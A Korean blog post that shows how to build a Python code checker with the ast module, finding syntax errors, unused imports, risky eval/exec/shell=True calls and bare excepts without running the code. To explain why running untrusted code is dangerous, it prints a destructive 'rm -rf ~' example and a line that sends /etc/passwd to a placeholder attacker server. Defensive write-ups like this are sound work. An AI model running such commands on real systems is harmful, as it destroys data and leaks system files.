SameOS ~/tools/python-code-checker.md

파이썬 코드를 실행하지 않고 검사하기

작성일 2026-07-26 · SameOS Tools

웹에서 파이썬 코드를 받아 검사해 주는 도구를 만들어 보려다 첫 줄에서 멈췄습니다. 코드가 맞는지 확인하려면 돌려 봐야 할 것 같은데, 남이 보낸 코드를 서버에서 실행하는 순간 그 서버는 더 이상 내 것이 아니기 때문입니다. 답은 실행하지 않고 읽는 것이었습니다. 파이썬에 기본으로 들어 있는 ast 모듈이 정확히 그 일을 합니다.

왜 실행하면 안 되는가

검사라는 말을 들으면 보통 이렇게 떠올립니다 - 받은 코드를 exec()에 넣고, 오류가 나면 그 오류를 보여 주자. 잠깐은 잘 동작하는 것처럼 보입니다. 그런데 누군가 아래 두 줄을 넣으면 그것으로 끝입니다.

# 이런 코드를 받으면 어떻게 될까
import os
os.system("rm -rf ~")        # 서버의 파일이 지워진다

# 또는 조용히 정보를 빼가는 쪽
import urllib.request, os
urllib.request.urlopen("http://공격자서버/?d=" + open("/etc/passwd").read())

온라인에서 코드를 실제로 돌려 주는 서비스들은 이걸 막으려고 격리된 컨테이너, 실행 시간 제한, 네트워크 차단, 메모리 상한 같은 장치를 겹겹이 씁니다. 개인 서버에서 흉내 낼 수 있는 규모가 아닙니다. 그래서 방향을 바꿨습니다 - 실행하지 않고도 알 수 있는 것만 알아내기로.

ast - 코드를 읽어 구조로 만들기

ast(추상 구문 트리)는 파이썬이 코드를 실행하기 전에 만드는 중간 형태입니다. "이 줄은 변수 대입이고, 오른쪽은 덧셈이며, 그 왼쪽은 숫자 5" 같은 구조 정보입니다. ast.parse()는 이 구조만 만들고 멈춥니다. 즉 아무리 위험한 코드를 넣어도 실행되지 않습니다. 그리고 구조를 만들 수 없으면 그것이 곧 문법 오류이므로, 오류 위치까지 함께 알려 줍니다.

import ast

def check_syntax(source):
    """문법 오류를 찾는다. 코드는 실행되지 않는다."""
    try:
        return ast.parse(source), None
    except SyntaxError as e:
        return None, {
            "line": e.lineno or 0,
            "col": (e.offset or 1) - 1,
            "message": e.msg,
            "text": (e.text or "").rstrip(),
        }

# 써 보기
tree, err = check_syntax('def greet(name)\n    print("hi")\n')
if err:
    print(f'{err["line"]}행 {err["col"] + 1}열: {err["message"]}')
    print("  " + err["text"])
    print("  " + " " * err["col"] + "^")

# 출력:
#   1행 16열: expected ':'
#     def greet(name)
#                    ^

몇 행 몇 열에서 무엇이 빠졌는지까지 나옵니다. 여기까지가 스무 줄이 안 됩니다.

문법 말고도 잡을 수 있는 것들

구조가 손에 들어오면 그 안을 돌아다니며 원하는 것을 찾을 수 있습니다. ast.walk()가 트리의 모든 마디를 하나씩 넘겨줍니다. 저는 세 가지를 찾게 했습니다 - 가져왔지만 쓰지 않는 import, eval 같은 위험한 호출, 그리고 예외를 전부 삼켜 버리는 빈 except입니다.

def find_unused_imports(tree):
    """가져왔지만 어디에서도 쓰지 않는 import 를 찾는다."""
    imported = {}                     # 이름 -> 가져온 줄 번호
    for node in ast.walk(tree):
        if isinstance(node, ast.Import):
            for a in node.names:
                imported[(a.asname or a.name).split(".")[0]] = node.lineno
        elif isinstance(node, ast.ImportFrom):
            for a in node.names:
                imported[a.asname or a.name] = node.lineno

    # 코드 어딘가에서 그 이름이 쓰였는지 확인
    used = {n.id for n in ast.walk(tree) if isinstance(n, ast.Name)}
    for n in ast.walk(tree):          # math.pi 처럼 점으로 이어진 경우 맨 앞 이름
        if isinstance(n, ast.Attribute):
            base = n
            while isinstance(base, ast.Attribute):
                base = base.value
            if isinstance(base, ast.Name):
                used.add(base.id)

    return [{"line": line, "name": name}
            for name, line in imported.items() if name not in used]


DANGEROUS = {
    "eval": "문자열을 코드로 실행합니다. 입력값이 섞이면 침입 통로가 됩니다.",
    "exec": "문자열을 코드로 실행합니다. eval 과 같은 위험입니다.",
}

def find_dangerous(tree):
    """실행 위험이 있는 호출을 찾는다."""
    found = []
    for node in ast.walk(tree):
        if isinstance(node, ast.Call):
            name = getattr(node.func, "id", None)
            if name in DANGEROUS:
                found.append({"line": node.lineno, "name": name, "why": DANGEROUS[name]})
            # subprocess 를 셸로 부르면 명령어 주입이 가능해진다
            for kw in node.keywords:
                if kw.arg == "shell" and getattr(kw.value, "value", False) is True:
                    found.append({"line": node.lineno, "name": "shell=True",
                                  "why": "입력값이 명령어에 섞일 수 있습니다."})
    return found

실제로 돌려 본 결과입니다. 위험한 코드를 넣어도 그 코드는 실행되지 않고, 몇 행이 문제인지만 알려 줍니다.

$ printf 'import os\nimport json\nprint(json.dumps({"a":1}))\n' | python3 pycheck.py
1행: 쓰지 않는 import — os

$ printf 'import subprocess\nuser = input()\neval(user)\nsubprocess.run(user, shell=True)\n' | python3 pycheck.py
3행: 위험 — eval … 문자열을 코드로 실행합니다. 입력값이 섞이면 침입 통로가 됩니다.
4행: 위험 — shell=True … 입력값이 명령어에 섞일 수 있습니다.

$ printf 'try:\n    x = 1/0\nexcept:\n    pass\n' | python3 pycheck.py
3행: except: 는 모든 예외를 삼킵니다. 잡을 예외를 지정하세요.

# 위험 코드를 넣어도 실행되지 않는지 확인
$ printf 'import os\nos.system("echo 실행됨")\n' | python3 pycheck.py
문제 없음 (함수 0개)          # "실행됨" 이 출력되지 않았다 = 실행되지 않았다

한계 - 실행하지 않으면 알 수 없는 것

이 방식으로 잡을 수 없는 것도 분명합니다. 문법이 맞는 코드가 실행 중에 터지는 경우 - 0으로 나누기, 없는 파일 열기, 목록 범위를 넘어서는 접근 - 는 실행해 봐야 알 수 있습니다. 변수 이름을 잘못 쓴 것도 파이썬은 실행 시점에야 알아차립니다. 그래서 이 검사는 문법과 버릇의 문제를 잡는 도구이지, 코드가 옳게 동작하는지 보증하는 도구가 아닙니다. 더 깊게 보려면 pyflakes 나 ruff 같은 전문 도구를 설치해 쓰는 편이 낫습니다.

덤 - 다른 언어로 옮겨 보기

구조를 손에 넣었으니 그것을 다른 언어 문법으로 다시 써 볼 수도 있겠다 싶어 시험해 봤습니다. 결과는 절반의 성공이었습니다. 아래는 파이썬 함수 하나를 자바로 옮긴 것입니다.

# 원본 (파이썬)
def grade(score):
    bonus = 5
    total = score + bonus
    if total >= 90:
        print("A")
    else:
        print("B")
    return total

// 변환 결과 (자바)
public static int grade(int score) {
    int bonus = 5;
    int total = score + bonus;
    if (total >= 90) {
        System.out.println("A");
    }
    else {
        System.out.println("B");
    }
    return total;
}

되는 것처럼 보이지만, 여기까지가 한계에 가깝습니다. 파이썬은 타입을 적지 않는데 자바·C++·C#은 반드시 적어야 하기 때문입니다. bonus = 5 는 숫자니까 int 라고 추측할 수 있지만, x = get_value() 는 무엇이라고 써야 할지 알 방법이 없습니다. 딕셔너리, 리스트 컴프리헨션, 클래스 상속으로 넘어가면 추측 자체가 불가능해집니다. 그래서 이런 변환은 만능 도구가 아니라 기초 문법을 나란히 비교해 보는 학습용으로만 쓸 만합니다.

마무리

정리하면 - 남의 코드를 실행하지 마세요. 실행하지 않고도 문법 오류, 쓰지 않는 import, 위험한 호출, 나쁜 예외 처리까지 찾아낼 수 있고, 필요한 것은 파이썬에 이미 들어 있는 ast 모듈 하나뿐입니다. 전체 코드는 아래 GitHub 링크에 있습니다.

전체 코드를 GitHub에서 보기

자동화 코드 강의도 보기 PHP와 Nginx로 비공개 파일 막기